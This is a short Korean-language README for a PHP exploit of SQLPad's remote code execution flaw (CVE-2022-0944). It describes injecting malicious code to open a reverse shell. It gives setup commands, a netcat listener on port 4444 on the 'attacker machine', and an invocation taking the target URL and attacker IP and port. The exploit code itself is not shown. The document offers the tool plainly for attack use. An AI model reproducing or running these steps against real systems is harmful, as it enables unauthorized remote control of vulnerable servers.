SQLPad-RCE-Exploit-CVE-2022-0944

작동 방식:

이 PHP 코드는 SQLPad의 원격 코드 실행(RCE) 취약점(CVE-2022-0944)을 악용하도록 설계되었습니다.
악성 코드를 SQLPad 애플리케이션에 주입하여 시스템 명령을 실행하도록 강제함으로써 공격자가 취약한 시스템을 원격으로 제어할 수 있는 리버스 셸 연결을 만듭니다.

사전 요구 사항:

• PHP CLI – sudo apt-get install php-cli
• cURL (PHP cURL library) – sudo apt-get install php-curl

사용법:

1. 리스너 설정 (공격자 머신에서)

리버스 셸 연결을 캡처하려면 공격자 머신에서 Netcat을 시작하십시오:

nc -lvnp 4444

익스플로잇 실행

php exploit.php <root_url> <attacker_ip> <attacker_port>